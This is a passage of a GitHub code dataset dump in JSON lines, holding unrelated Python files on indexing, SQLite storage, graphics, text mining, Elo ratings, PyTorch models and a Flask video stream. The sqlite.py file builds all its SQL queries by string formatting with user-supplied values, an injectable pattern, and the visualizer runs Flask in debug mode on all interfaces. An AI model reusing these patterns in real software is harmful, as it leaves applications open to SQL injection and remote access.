doc_dir, extractor in doc_dirs.items():\n                # if 'GH' in doc_dir:\n                #     continue\n                # else:\n                for file in next(os.walk(doc_dir))[2]:\n                    self.doc_dm(doc_dir + file, extractor)\n                # documents.extend(tmp_documents)\n                # doc_ids.extend(tmp_doc_ids)\n\n\n","repo_name":"hunst-cross-information-ir/hellolee","sub_path":"CL-PWIM/arrange_docs.py","file_name":"arrange_docs.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5814667975","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*\nimport sqlite3\nimport logging as log\nfrom sqlite3 import Error\nfrom os import environ as env\n\n\n__db = sqlite3.connect(env['DB_PATH'])\n__db.row_factory = sqlite3.Row\nwith open(\"schema.sql\") as schema:\n    __db.executescript(schema.read())\n\n\ndef __cursor():\n    return __db.cursor()\n\n\ndef __store(sql):\n    last = None\n    cursor = __cursor()\n    try:\n        cursor.execute(sql)\n        __db.commit()\n    except Error as e:\n        log.error(e)\n    finally:\n        last = cursor.lastrowid\n        cursor.close()\n    return last\n\n\ndef __retrieve(sql):\n    query = None\n    cursor = __cursor()\n    try:\n        log.info(sql)\n        select = cursor.execute(sql)\n        query = [dict(r) for r in select.fetchall()]\n        log.info(query)\n    except Error as e:\n        log.error(e)\n    finally:\n        cursor.close()\n    return query\n\n\ndef store_agenda(**agenda):\n    \"\"\"\n    Create a new agenda\n    \"\"\"\n    if agenda.get('agenda_id'):\n        #overwrite\n        sql = \"UPDATE agenda SET title = '{}', user_id = '{}' WHERE agenda_id = '{}'\".format(agenda['title'], agenda['user_id'], agenda['agenda_id'])\n        return __store(sql)\n    elif agenda.get('title'):\n        #create \n        sql = \"INSERT INTO agenda(title, user_id) VALUES('{}','{}')\".format(agenda['title'], agenda['user_id'])\n        return __store(sql)\n    else:\n        raise Exception(\"Bad use of agenda: \" + str(agenda))\n\n\ndef store_event(**event):\n    \"\"\"\n    Create new event\n    \"\"\"\n    if event.get('type'):\n        sql = \"INSERT OR IGNORE INTO event(event_id, title, longitude, latitude, event_type) VALUES('{}','{}','{}','{}','{}')\".format(event['event_id'], event['title'], event['longitude'], event['latitude'], event['type'])\n    else:\n        sql = \"INSERT OR IGNORE INTO event(event_id, title, longitude, latitude) VALUES('{}','{}','{}','{}')\".format(event['event_id'], event['title'], event['longitude'], event['latitude'])\n    return __store(sql)\n\n\ndef add_event(**relation):\n    sql = \"INSERT INTO agenda_event(agenda_id, event_id, checkin, checkout) VALUES('{}','{}','{}','{}')\".format(relation['agenda_id'], relation['event_id'], relation['checkin'], relation['checkout'])\n    return __store(sql)\n\n\ndef retrieve_agenda(agenda_id):\n    agenda = __retrieve(\"SELECT agenda_id, title FROM agenda ORDER BY agenda_id DESC LIMIT 1\".format(agenda_id))[0]\n    event_ids = __retrieve(\"SELECT agenda_event.event_id FROM agenda INNER JOIN agenda_event ON agenda.agenda_id = agenda_event.agenda_id WHERE agenda.agenda_id='{}'\".format(agenda_id))\n    events = []\n    for k in event_ids:\n        result = __retrieve(\"SELECT * FROM event WHERE event.event_id = '{}'\".format(k['event_id']))\n        if result:\n            events.append(result[0])\n\n    return {\n        'id': agenda['agenda_id'],\n        'title': agenda['title'],\n        'events': events\n    }\n\n\ndef retrieve_event(event_id):\n    return __retrieve(\"SELECT * FROM event WHERE event_id='{}'\".format(event_id))[0]\n\n\ndef retrieve_events(agenda_id):\n    return __retrieve(\"SELECT * FROM agenda_event WHERE agenda_id='{}'\".format(agenda_id))\n\n\ndef list_agendas(user_id):\n    return __retrieve(\"SELECT * FROM agenda WHERE user_id='{}'\".format(user_id))\n\n\n","repo_name":"Dirty-Developers/pathfinder-api","sub_path":"pathfinder/core/integrations/sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74059034110","text":"import numpy as np\n\nDIR_LIGHT = 0\nPOINT_LIGHT = 1\nAMBIENT_LIGHT = 2\n\nclass DirectionalLight(object):\n    def __init__(self, direction = (0,-1,0), intensity = 1, color = (1,1,1)):\n        self.direction = direction / np.linalg.norm(direction)\n        self.intensity = intensity\n        self.color = color\n        self.lightType = DIR_LIGHT\n\nclass AmbientLight(object):\n    def __init__(self, intensity = 0.1, color = (1,1,1)):\n        self.intensity = intensity\n        self.color = color\n        self.lightType = AMBIENT_LIGHT\n\nclass PointLight(object):\n    def __init__(self, point, constant=1.0, linear=0.1, quad=0.05, color=(1, 1, 1)):\n        self.point = point\n        self.constant = constant\n        self.linear = linear\n        self.quad = quad\n        self.color = color\n        self.lightType = POINT_LIGHT\n","repo_name":"danielavillamar/Graficas-RT1","sub_path":"lights.py","file_name":"lights.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9459001874","text":"import pandas as pd\nimport collections\nimport time\n\ndef concat_xlsx(filename):\n    '''\n    :param filename:\n    :return: df\n    :function: 实现一个表格的多sheet的合并\n    '''\n    df_dict0 = pd.read_excel(filename, sheet_name=None, index_col=None, na_values=['NA'])\n    df_dict0 = collections.OrderedDict(sorted(df_dict0.items()))\n    df = pd.concat(df_dict0.values(), ignore_index=True)\n    return df\n\ndef tables_xlsx_concat(df1,df2):\n    '''\n    :param df1:\n    :param df2:\n    :return: dfx\n    :function 实现两个表格数据合并（前提是两个表格维度相同）\n    '''\n    dfx = pd.concat([df1, df2], ignore_index=True)\n    return dfx\n\n\ndef generate_data_needed(datafm):\n    '''\n    function:实现对所需要的维度的提取，在这里我们只保留微博内容和微博地址两项\n    :param datafm: pd.DataFrame\n    :return: dealt_df\n    '''\n    return datafm[['微博内容','微博地址']]\n\n\ndef add_labels(df,label):\n    '''\n    function:为相关的DataFrame格式的项目打上标签\n    :param df:\n    :param label:\n    :return df:\n    '''\n    df['标签']  =  label\n    return df\n\n\nlabel_file_MaLong = 'Data/0/data.xlsx'\nlabel_file_Stars_1 = 'Data/1/WYB.xlsx'\nlabel_file_Stars_2 = 'Data/1/WYB2.xlsx'\nlabel_file_Stars_3 = 'Data/1/XZ.xlsx'\nlabel_file4 = ''\nlabel_file5 = ''\nlabel_file_Game = 'Data/2/new原神.xlsx'\nlabel_file_COVID_1 = 'Data/3/new疫苗.xlsx'\nlabel_file_COVID_2 = 'Data/3/新冠00.xlsx'\nlabel_file_COVID_3 = 'Data/3/新冠01.xlsx'\n\n# 4类的dataFrame\ndataA = add_labels(generate_data_needed(concat_xlsx(label_file_MaLong)),0)\n\ndataB = None\n\ndataC = add_labels(generate_data_needed(concat_xlsx(label_file_Game)),2)\n\ndataD = add_labels(generate_data_needed(\n    tables_xlsx_concat(\n        tables_xlsx_concat(\n            concat_xlsx(label_file_COVID_1),\n            concat_xlsx(label_file_COVID_2)),\n        concat_xlsx(label_file_COVID_3))),3)\n\n\nwhole_data = pd.concat([dataA, dataB, dataC, dataD], ignore_index=True)\nprint(whole_data.shape)\n\n\nwhole_data=whole_data.dropna(axis=0, subset= [\"微博内容\",\"微博地址\"])\nwhole_data.reset_index(drop=True,inplace=True)\n\nwhole_data = whole_data.drop_duplicates(['微博内容', '微博地址'],keep='last')\nwhole_data.reset_index(drop=True,inplace=True)\n\nwhole_data['微博内容'] = whole_data['微博内容'].str.replace(r'[^\\w]+', '')\n\nimport finalseg\nstart = time.perf_counter()\n\ncontent_data = whole_data['微博内容'].values\nlabel_data = whole_data['标签'].values\nsegdata = []\nfor line in content_data:\n    try:\n        seglist=finalseg.cut(line)\n        segdata.append('|'.join(seglist))\n    except AttributeError:\n        pass\n\nend =time.perf_counter()\nprint(\"程序运行时间为：\",end-start,\"s\")\nprint(segdata[0:5])\n","repo_name":"JunTheRipper/WebSpyder","sub_path":"TextMining/labB.py","file_name":"labB.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"75062938750","text":"from securingagents.Agent import Agent\nfrom securingagents.Skills import *\n\n\ntask = \"create a python file saying hello and save it in hello.py\"\n#task = input('Give me a task:')\n\nagent = Agent.build_default()\nagent.add_skill(ReadFile)\nagent.add_skill(WriteFile)\nagent.do(task, max_iter=10)","repo_name":"lcetinsoy/securing-agents","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"70568250752","text":"from elo import El\nfrom data import Store\nfrom pprint import pprint\n\n\nclass Brain:\n    el = El(32)\n    store = Store(range(2008, 2019))\n\n    scores = {}\n\n    predictions = {}\n\n    def __init__(self):\n        \"\"\"Create the Brain class to perform predictions.\"\"\"\n        self.default_score = 1500\n        self.run_past_matches()\n\n    def run_past_matches(self):\n        \"\"\"Iterate through matches in Store and calculate Elo rating for teams.\"\"\"\n        for year in self.store.years:\n            # print(year)\n            for event in self.store.events[year]:\n                for match in self.store.matches[year][event.key]:\n                    red_alliance = match.red_alliance\n                    blue_alliance = match.blue_alliance\n\n                    for team in red_alliance + blue_alliance:\n                        if team not in self.scores.keys():\n                            self.scores[team] = self.default_score\n\n                    prediction = self.predict(red_alliance, blue_alliance, key=match.key)\n                    self.update_score(red_alliance, blue_alliance, prediction,\n                                      match.red_score, match.blue_score)\n\n    def predict(self, red_alliance, blue_alliance, key=False):\n        \"\"\"Predict the winner of an FRC game.\n\n        Args:\n            red_alliance (list): Teams in red alliance.\n            blue_alliance (list): Teams in blue alliance.\n\n        Returns:\n            The predicted score of match, 0 = loss etc.\n        \"\"\"\n        red_score = sum([self.scores[team] for team in red_alliance])\n        blue_score = sum([self.scores[team] for team in blue_alliance])\n        score = self.el.predict(red_score, blue_score)\n\n        if key:\n            self.predictions[key] = score\n\n        return score\n\n    def update_score(self, red_alliance, blue_alliance, prediction, red_score, blue_score):\n        \"\"\"Update the Elo rating of teams in an alliance.\n\n        Args:\n            red_alliance (list): Teams in the red alliance.\n            blue_alliance (list): Teams in the blue alliance.\n            prediction (int): Predicted score of red alliance.\n            red_score (int): Actual score of red alliance.\n            blue_score (int): Actual score of blue alliance.\n        \"\"\"\n        score = self.get_score(red_score, blue_score)\n\n        for team in red_alliance:\n            self.scores[team] = self.el.update(self.scores[team], prediction, score)\n\n        for team in blue_alliance:\n            self.scores[team] = self.el.update(self.scores[team], 1 - prediction, score)\n\n    def get_score(self, red_score, blue_score):\n        \"\"\"Return the score of match to be used in prediction. 0 = loss, 1 = win.\n        Args:\n            red_score (int): Points scored by red alliance.\n            blue_score (int): Points score by blue alliance.\n        \"\"\"\n        if red_score < blue_score:\n            return 0\n        elif red_score > blue_score:\n            return 1\n        else:\n            return 0.5\n\n\nif __name__ == \"__main__\":\n    a = Brain()\n    # pprint(a.scores)\n","repo_name":"fizzlebert/el-predicto","sub_path":"brain.py","file_name":"brain.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36439981561","text":"\"\"\"example of the nourishment functions on DeltaRCM topography\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport dorado\nimport os.path\n\n# load some variables from a deltarcm output so stage is varied\nf_path = os.path.abspath(os.path.dirname(__file__))\ndata_path = os.path.join(f_path, 'ex_deltarcm_data.npz')\ndata = np.load(data_path)\n\n# create params and then assign the parameters\nparams = dorado.particle_track.modelParams()\n\n# define the params variables\nparams.stage = data['stage']\nparams.depth = data['depth']\nparams.qx = data['qx']\nparams.qy = data['qy']\nparams.dx = 50.\nparams.gamma = 0.5\nparams.model = 'DeltaRCM'  # say that our inputs are from DeltaRCM\n\n# define initial particle locations and number of particles\nseed_xloc = list(range(15, 17))\nseed_yloc = list(range(137, 140))\nNp_tracer = 300\n\n# fix the random seed for the example\nnp.random.seed(0)\n\n# initialize the particles object and generate some particles\nparticles = dorado.particle_track.Particles(params)\nparticles.generate_particles(Np_tracer, seed_xloc, seed_yloc)\n\n# using steady (time-invariant) plotting routine\nwalk_data = dorado.routines.steady_plots(particles, 120,\n                                         'nourishment_example')\n\n# let's compute the \"nourishment area\" for this seed location,\n# which shows the fraction of particles that visited each cell\n# in the domain. this function includes a bit of gaussian\n# filtering to smooth out some of the stochasticity\nvisit_freq = dorado.particle_track.nourishment_area(walk_data,\n                                                    params.depth.shape)\n\n# visualize nourishment area using built-in plotting routine\nax = dorado.routines.show_nourishment_area(visit_freq,\n                                           params.depth, walk_data)\nplt.savefig(os.path.join('nourishment_example', 'NourishmentArea.png'),\n            bbox_inches='tight')\n\n# now, let's look at the \"nourishment time,\" i.e. how long on\n# average each particle spends in a given cell once it gets there\nmean_times = dorado.particle_track.nourishment_time(walk_data,\n                                                    params.depth.shape,\n                                                    clip=95)\n\n# and again use the built-in plotting routine\nax = dorado.routines.show_nourishment_time(mean_times, params.depth,\n                                           walk_data)\nplt.savefig(os.path.join('nourishment_example', 'NourishmentTime.png'),\n            bbox_inches='tight')\n","repo_name":"Muzahid58lsu/dorado","sub_path":"examples/nourishment_example.py","file_name":"nourishment_example.py","file_ext":"py","file_size_in_byte":2486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"71593873150","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom Model.linear_model import *\nimport numpy as np\nimport pandas as pd\nfrom sklearn import preprocessing\nfrom plot.CM_Polt import *\n\ntorch.manual_seed(7)\n# 准备数据\nsource_data = pd.read_csv(\"Input_Data.csv\")\n# source_data2 = source_data.copy(deep=True)\n# source_data2.sort_values(\"Label\", inplace=True)\nX = torch.tensor(np.array(source_data.loc[:, [\n                                                 # \"P_bins\",\n                                                  \"P\",\n                                                  # \"cluster1\", \"cluster2\",\n                                                  \"is_R\", \"is_EL\", \"is_LHD\", \"is_X\", \"is_H1\", \"is_H3\", \"is_H5\", \"is_NS\", \"is_H5\",\n                                                  \"i_hm2/i_hm1\", \"i_hm3/i_hm1\", \"i_hm4/i_hm1\", \"i_hm5/i_hm1\"\n                                             ]]).astype(np.float32))\nY = source_data.iloc[:, -1]\nle = preprocessing.LabelEncoder()\nle.fit_transform(Y)\nY = torch.LongTensor(le.transform(Y))\n# 训练集划分\nn_sample = X.shape[0]\nn_val = int(0.2 * n_sample)\nn_test = int(0.1 * n_sample)\nshuffled_indices = torch.randperm(n_sample)  # 获取随机正整数\ntrain_indices = shuffled_indices[: -n_val - n_test]  # 训练集的索引\nval_indices = shuffled_indices[-n_val - n_test:-n_test]  # 验证集的索引\ntest_indices = shuffled_indices[-n_test:]  # 验证集的索引\nTrain_X = X[train_indices]\nTrain_Y = Y[train_indices]\nVal_X = X[val_indices]\nVal_Y = Y[val_indices]\nTest_X = X[test_indices]\nTest_Y = Y[test_indices]\n\n# 构建模型\nmodel = MultiLayerModel(X.shape[1], len(le.classes_))\n# 构建优化器\noptimizer = torch.optim.SGD(model.parameters(), lr=0.1)\n# 损失类\nloss_f = nn.CrossEntropyLoss()\n\n\n# 训练\ndef training_loop(n_epochs, optimizer, model, loss_fn, train_x, val_x, train_y, val_y):\n    for epoch in range(1, n_epochs + 1):\n        # 训练集的前向\n        train_y_p = model(train_x)\n        train_loss = loss_fn(train_y_p, train_y)\n        # 验证集的前向\n        val_y_p = model(val_x)\n        val_loss = loss_fn(val_y_p, val_y)\n        optimizer.zero_grad()\n        train_loss.backward()\n        optimizer.step()\n        if epoch % 10 == 0:\n            print('Epoch {}, Train Loss {}, Val Loss {}'.format(epoch, float(train_loss), float(val_loss)))\n\n\ndef test(X_data, Y_data, Is_plot=False):\n    out_put = model(X_data)\n    test_loss = F.nll_loss(out_put, Y_data).data.item()\n    pred = out_put.data.max(1, keepdim=True)[1]\n    if Is_plot:\n        cm_plot(np.array(Y_data), np.array(pred))\n    correct = pred.eq(Y_data.data.view_as(pred)).sum()\n    print('\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n        test_loss, correct, len(Y_data),\n        100. * correct / len(Y_data)))\n\n\n# training_loop(\n#     n_epochs=2500,\n#     optimizer=optimizer,\n#     model=model,\n#     loss_fn=loss_f,\n#     train_x=Train_X,\n#     val_x=Val_X,\n#     train_y=Train_Y,\n#     val_y=Val_Y\n# )\n# out = model(X)\n# pred = out.data.max(1, keepdim=True)[1]\n# source_data[\"y\"] = pd.DataFrame(np.array(Y))\n# source_data[\"y_pre\"] = pd.DataFrame(np.array(pred)[:, 0])\n#\n# test(Train_X, Train_Y)\n# test(Val_X, Val_Y)\n# test(Test_X, Test_Y)\n# test(X, Y, Is_plot=True)\n\n\n\nprint(\"XXX\")\n","repo_name":"xxppchen/xp_recognize","sub_path":"Desktop/项目/负荷识别部/指纹程序（CXP）/Model/NN_model.py","file_name":"NN_model.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41330398872","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 18 12:27:36 2022\n\n@author: zitest\n\nTODOs: \n    1. Attempt to speed up overhead_compare.py by utilizing openCV's plotting API\n    2. Attempt to publish visualization to a web server by utilizing Flask(?) Bokeh(?)\n\n\"\"\"\n\nfrom i24_database_api import DBClient\nfrom datetime import datetime\nfrom flask import Response\nfrom flask import Flask\nfrom flask import render_template\nimport numpy as np\nimport threading\nimport time\nimport json\nimport cv2\n\noutputFrame = None\nlock = threading.Lock()\n\nclass OverheadCompareV2():\n    \"\"\"\n    compare the overhead views of two collecctions\n    \"\"\"\n    \n    def __init__(self, config, collections = None,\n                 framerate = 25, x_min = 0, x_max = 1500, offset = None ,duration = 60):\n        \n        list_dbr = [] # time indexed\n        list_veh = [] # vehicle indexed\n        list_db = [\"trajectories\", \"trajectories\", \"reconciled\"] # gt, raw, rec\n        trans = DBClient(**config, database_name = \"transformed\")\n        transformed_collections = trans.list_collection_names()\n        \n        # first collection is GT\n        for i,collection in enumerate(collections):\n            dbr = DBClient(**config, database_name = \"transformed\", collection_name=collection)\n            veh = DBClient(**config, database_name = list_db[i], collection_name=collection)\n            dbr.create_index(\"timestamp\")\n            list_dbr.append(dbr)\n            list_veh.append(veh)\n            \n            if collection not in transformed_collections:\n                # print(\"Transform \", collection)\n                veh.transform()\n            \n        \n        if len(list_dbr) == 0:\n            raise Exception(\"at least one collection must be specified.\")\n        \n        # get plotting ranges\n        t_min = max([dbr.get_min(\"timestamp\") for dbr in list_dbr])\n        t_max = min([dbr.get_max(\"timestamp\") for dbr in list_dbr])\n        if offset:\n            t_min += offset  \n        if duration: \n            t_max = min(t_max, t_min + duration)\n        \n        self.x_start = x_min\n        self.x_end = x_max\n        self.t_min = t_min\n        self.t_max = t_max\n        \n        # Initialize animation\n        self.anim = None\n        self.framerate = framerate if framerate else 25\n        \n        self.lanes = [i*12 for i in range(-1,12)]   \n        self.lane_name = [ \"EBRS\", \"EB4\", \"EB3\", \"EB2\", \"EB1\", \"EBLS\", \"WBLS\", \"WB1\", \"WB2\", \"WB3\", \"WB4\", \"WBRS\"]\n        self.lane_idx = [i for i in range(12)]\n        self.lane_ax = [[1,5],[1,4],[1,3],[1,2],[1,1],[1,0],[0,0],[0,1],[0,2],[0,3],[0,4],[0,5]]\n        \n        # self.annot_queue = queue.Queue()\n        # self.cursor = None\n        \n        # self.list_dbr =  list_dbr\n        # self.list_veh = list_veh\n        \n        self.window_w = 1200\n        self.window_h = 600\n        \n    def refresh_frame(self):\n        \"\"\"\n        Set up frame to plot\n        \"\"\"\n        # frame to plot\n        self.frame = np.full(shape=(self.window_h, self.window_w, 3), \n                             fill_value=255,\n                             dtype=np.float64)\n        # add line \n        \n\n    def animate(self, save, upload, stream, extra): \n        \n        # initiate frame \n        self.refresh_frame()\n        \n        x1 = 0\n        y1 = int(self.window_h / 2)\n        direction = 'r'\n        w = 75\n        h = 25\n        c = (255, 0, 0)\n        \n        if save:\n            now = datetime.utcfromtimestamp(int(time.time())).strftime('%Y-%m-%d_%H-%M-%S')\n            file_name = now+\"_\" + \"random-trajectory\" +extra+\".mp4\"\n            path_name = \"/home/zitest/Desktop/i24-overhead-visualizer/videos/\" + file_name\n            # write to file\n            fourcc = cv2.VideoWriter_fourcc(*'MPEG')\n            out = cv2.VideoWriter(path_name, fourcc, self.framerate, (self.window_w, self.window_h))\n\n        end = False\n        frame = 0\n        if stream:\n            global outputFrame, lock\n        while True:\n            if end:\n                break\n            \n            # temporary move mechanism\n            if x1 + w > self.window_w:\n                direction = 'l'\n            elif x1 < 0:\n                direction = 'r'\n            if direction == 'l':\n                x1 -= 5\n            else:\n                x1 += 5\n            \n            # clear frame\n            self.refresh_frame()\n            # plot vehicles\n            cv2.rectangle(self.frame, (x1, y1), (x1 + w, y1 + h), c, cv2.FILLED)\n            # add frame number\n            cv2.putText(self.frame, 'Frame # {f}'.format(f=frame), \n                        org=(10, self.window_h - 20), fontFace=cv2.FONT_HERSHEY_DUPLEX,\n                        fontScale=1, color=(0, 0, 0), thickness=1, lineType=1)\n            if not stream:\n                cv2.imshow(\"i24 overhead compare v2\", self.frame)\n            \n            # save\n            if save:\n                out.write(self.frame.astype(np.uint8))\n            \n            # end with escape\n            k = cv2.waitKey(int(1000/self.framerate)) & 0xFF\n            if k == 27:\n                end = True\n                break\n            \n            frame += 1\n            \n            # acquire lock, set output frame, and release lock\n            if stream:\n                print('Current lock: ', lock)\n                with lock:\n                    outputFrame = self.frame.copy()\n        \n        if save:\n            out.release()\n        cv2.destroyAllWindows()\n        return\n    \n    def generate_stream(self):\n        # grab global references to the output frame and lock variables\n    \tglobal outputFrame, lock\n    \t# loop over frames from the output stream\n    \twhile True:\n    \t\t# wait until the lock is acquired\n    \t\twith lock:\n    \t\t\t# check if the output frame is available, otherwise skip\n    \t\t\t# the iteration of the loop\n    \t\t\tif outputFrame is None:\n    \t\t\t\tcontinue\n    \t\t\t# encode the frame in JPEG format\n    \t\t\t(flag, encodedImage) = cv2.imencode(\".jpg\", outputFrame)\n    \t\t\t# ensure the frame was successfully encoded\n    \t\t\tif not flag:\n    \t\t\t\tcontinue\n    \t\t# yield the output frame in the byte format\n    \t\tyield(b'--frame\\r\\n' b'Content-Type: image/jpeg\\r\\n\\r\\n' + \n    \t\t\tbytearray(encodedImage) + b'\\r\\n')\n    \n    def setup_stream(self):\n        self.app = Flask(__name__)\n        \n        @self.app.route(\"/\")\n        def index():\n        \t# return the rendered template\n        \treturn render_template(\"index.html\")\n        \n        @self.app.route(\"/video_feed\")\n        def video_feed():\n        \t# return the response generated along with the specific media\n        \t# type (mime type)\n        \treturn Response(self.generate_stream(),\n        \t\tmimetype = \"multipart/x-mixed-replace; boundary=frame\")\n\n    def start_stream(self):\n        self.app.run(host=\"0.0.0.0\",\n                     port=8000,\n                     debug=True,\n                     threaded=True,\n                     use_reloader=False)\n\n\ndef main(rec, gt = \"groundtruth_scene_2_57\", framerate = 25, x_min=-100, x_max=2200, offset=0, duration=500, \n         save=False, upload=False, extra=\"\", stream=False):\n    \n    # change path to config\n    with open(\"/home/zitest/Desktop/i24-overhead-visualizer/config.json\") as f:\n        db_param = json.load(f)\n    \n    raw = rec.split(\"__\")[0]\n    print(\"Generating a video for {}...\".format(rec))\n    p = OverheadCompareV2(db_param, \n                collections = [gt, raw, rec],\n                framerate = framerate, x_min = x_min, x_max=x_max, offset = offset, duration=duration)\n    if stream:\n        p.setup_stream()\n        \n        t = threading.Thread(target=p.animate, args=(\n            False, False, True, \"\",))\n        t.daemon = True\n        t.start()\n        \n        print(\"starting animate process: \", t.native_id)\n        \n        p.start_stream()\n    else:\n        p.animate(save=save, upload=upload, stream=stream, extra=extra)\n    \nif __name__==\"__main__\":\n\n    main(rec = \"zonked_cnidarian--RAW_GT2__articulates\", save=False, upload=False, stream=True)\n    \n        \n\n\n","repo_name":"zineanteoh/i24-overhead-visualizer","sub_path":"overhead_compare_v2.py","file_name":"overhead_compare_v2.py","file_ext":"py","file_size_in_byte":8053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24699778005","text":"import torch\nimport torchvision\nfrom torchvision.utils import make_grid, save_image\nimport argparse\nimport matplotlib.pyplot as plt\nfrom configparser import ConfigParser\nimport numpy as np\nimport os,sys,inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0,parentdir)\nimport common.setup as setup\nimport copy\n\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_path', type=str, required=True, help='path to trained autoencoder')\nparser.add_argument('--model', type=str, choices=('AE', 'VAE'), required = True, help='Specify model')\nparser.add_argument('--data', type=str, default='MNIST', choices=('MNIST', 'CelebA'), help='Data name to be used')\nparser.add_argument('--num_pics', type=int, default=15, help='How many pics to show in evaluation?')\nargs = parser.parse_args()\n\nconfig_path = os.path.join(os.path.dirname(args.model_path), 'settings.ini')\nconfig = ConfigParser()\nconfig.read(config_path)\nloader = setup.create_dataset_loader(config, data=args.data, test=True)\nn_classes = 10 if config.getboolean('HYPERPARAMS', 'auxillary', fallback=False) and args.data == 'MNIST' else -1\nmodel = setup.create_model(config, args.model, n_classes)\ncheckpoint = torch.load(args.model_path)\nmodel.load_state_dict(checkpoint['model_state_dict'])\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nmodel.to(device)\nmodel.eval()\n\nimg_list = []\n\nfor i, (data, target) in enumerate(loader):\n    print('Image %d/%d (Target: %d)'%(i,args.num_pics, target[0]))\n    img_list.append(data.squeeze(0))\n    data = data.to(device)\n    if args.model == 'VAE':\n        mu, log_var, c = model.encode(data)\n        z = model.sample_z(mu, log_var)\n        reconstructed = model.decode(z)\n    else:\n        reconstructed, c = model(data)\n     \n    rec_img = reconstructed.squeeze(0).detach().cpu()\n    #diff = torch.abs(reconstructed - data).squeeze(0).detach().cpu()\n    img_list.append(rec_img)\n    #img_list.append(diff)\n    if i+1 >= args.num_pics:\n        break\n\nimg = make_grid(img_list, nrow=2, scale_each=True)\nsave_image(copy.deepcopy(img), 'result_figures/'+args.model+'_'+args.data+'_reconstruction.png')\nif args.data == 'MNIST':\n    img = np.sum(img.numpy(), axis=0)\nelse:\n    img = img.numpy()\n    img = np.moveaxis(img, 0, -1)\ninput_size = tuple(map(int, config.get('TRAINING', 'input_size').split('x')))\nratio = float(input_size[1])/float(input_size[0])\nplt.figure(figsize=(3.0*args.num_pics*ratio, args.num_pics))\ncmap = plt.cm.gray if args.data == 'MNIST' else None\nprint(img.shape)\nplt.imshow(img, cmap=cmap)\nplt.axis('off')\nplt.show()\n\n\n","repo_name":"a1302z/GenerativeModels","sub_path":"eval_tools/AE_reconstruction.py","file_name":"AE_reconstruction.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8339517951","text":"import sys\n\nclass Form:\n\t\n\t\n\tdef __init__(self):\n\t\t\n\t\tself.btn_link = \"\"\"\n\tborder:none;\n\toutline:none;\n\tbackground:none;\n\tcursor:pointer;\n\tcolor:#0000EE;\n\tpadding:0;\n\ttext-decoration:underline;\n\tfont-family:inherit;\n\tfont-size:inherit;\n\t\"\"\"\n\t\n\t\tself.lienblanc = \"\"\"\n\tborder:none;\n\toutline:none;\n\tbackground:none;\n\tcursor:pointer;\n\tcolor:#FAF0E6;\n\tpadding:0;\n\ttext-decoration:underline;\n\tfont-family:inherit;\n\tfont-size:inherit;\n\t\"\"\"\n\t\t\n\t\tself.iconecss = \"\"\"\n\tbackground-image:url(\"/img/opo.gif\");\n\ttop right no-repeat;\n\twidth: 16px;\n\theight: 16px;\n\tpadding: 0 0 0 10px;\n\tborder-width: 0px;\n\tbackground-color:#ffffff;\n\tcursor: pointer;\n\tborder:0;\n\t\"\"\"\n\t\t\n\t\tself.icone = \"\"\"\n\tborder-width: 0px;\n\tbackground-color:#ffffff;\n\t\"\"\"\n\t\t\n\t\t\n\t#formulaires automatiques\t\n\t\t\n\tdef formulaire(self, action, method, value, **name_labeltype):\n\t\t\n\t\t\n\t\t\"\"\"\n\t\tArguments:\n\t\t\t\n\t\t\taction = route à laquelle serra envoyé le formulaire\n\t\t\tmethode = post (ou get)\n\t\t\tvalue = value du bouton d'envoi du formulaire\n\t\t\t**name_labeltype est un dico : {'name':('label','type')}\n\t\t\t\n\t\tExemple:\n\t\t\t\n\t\t\t>>> f = Form()\n\t\t\t>>> mon_form = f.formulaire('/login', 'post', 'Envoyer', **{\"pseudo\":(\"pseudo\", \"text\"), \"mail\":(\"mail\", \"email\"), \"mdp\":(\"mot de passe\",\"password\")})\n\t\t\t>>> mon_form\n\t\t\t'<form action=\"/login\" accept-charset=\"ISO-8859-1\" method=\"post\"> <label for=pseudo>pseudo:</label><input name = \"pseudo\" id = \"pseudo\" type = \"text\" /></br> <label for=mail>mail:</label><input name = \"mail\" id = \"mail\" type = \"email\" /></br> <label for=mdp>mot de passe:</label><input name = \"mdp\" id = \"mdp\" type = \"password\" /></br> <input value = \"Envoyer\" type=\"submit\" />   </form>'\n\t\t\t\n\t\tAttention, en python < 3.6 le dico n'est pas ordonné\n\t\t\n\t\t\"\"\"\n\t\t\n\t\tk = name_labeltype.keys()\n\t\t\n\t\tif len(k) > 1:\n\n\t\t\tq = \" \".join([\"\"\"<label for={n}>{t}:</label><input name = \"{n}\" id = \"{n}\" type = \"{ty}\" /></br>\"\"\".format(t = name_labeltype[j][0], n = j, ty = 